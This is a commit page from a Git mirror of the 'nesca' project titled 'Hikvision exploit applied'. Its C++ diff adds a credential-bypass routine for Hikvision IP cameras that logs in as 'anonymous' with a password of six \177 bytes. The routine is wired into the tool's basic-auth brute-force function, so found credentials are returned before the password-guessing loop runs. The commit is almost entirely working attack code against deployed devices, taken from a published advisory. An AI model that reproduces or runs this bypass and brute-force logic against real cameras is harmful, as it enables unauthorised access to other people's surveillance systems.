ChronosXYZ/nesca
1
0
Fork 0
mirror of https://github.com/ChronosX88/nesca.git synced 2024-11-23 18:52:19 +00:00
Code Issues Projects Releases Wiki Activity

Hikvision exploit applied

Browse Source 
(http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities)
This commit is contained in:
cora32 2015-04-19 03:02:30 +03:00
parent ad7487fda8
commit 5789c1d4db
2 changed files with 23 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

22
BasicAuth.cpp
View File

@ -30,6 +30,19 @@ bool BA::checkOutput(const string *buffer, const char *ip, const int port) {
return false; return false;
} }
//http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities 2
inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode) {
std::string lpString = string("anonymous") + ":" + string("\177\177\177\177\177\177");
string buffer;
int res = Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode);
if (res == -2) return -1;
else if (res != -1) {
if (BA::checkOutput(&buffer, ip, port)) return 1;
}
return 0;
}
lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) { lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
string buffer; string buffer;
string lpString; string lpString;
@ -37,6 +50,15 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
int passCounter = 0; int passCounter = 0;
int res = 0; int res = 0;
if (commenceHikvisionEx1(ip, port, digestMode)) {
stt->doEmitionGreenFoundData("Hikvision exploit triggered! (" +
QString(ip) + ":" +
QString::number(port) + ")");
strcpy(lps.login, "anonymous");
strcpy(lps.pass, "\177\177\177\177\177\177");
return lps;
}
for(int i = 0; i < MaxLogin; ++i) { for(int i = 0; i < MaxLogin; ++i) {
for (int j = 0; j < MaxPass; ++j) { for (int j = 0; j < MaxPass; ++j) {
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;}); FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});

2
BasicAuth.h
View File

@ -8,10 +8,10 @@
class BA { class BA {
private: private:
static bool checkOutput(const string *buffer, const char *ip, const int port);
static lopaStr BABrute(const char *ip, const int port, bool digestMode); static lopaStr BABrute(const char *ip, const int port, bool digestMode);
public: public:
static bool checkOutput(const string *buffer, const char *ip, const int port);
static lopaStr BALobby(const char *ip, const int port, bool digestMode); static lopaStr BALobby(const char *ip, const int port, bool digestMode);
}; };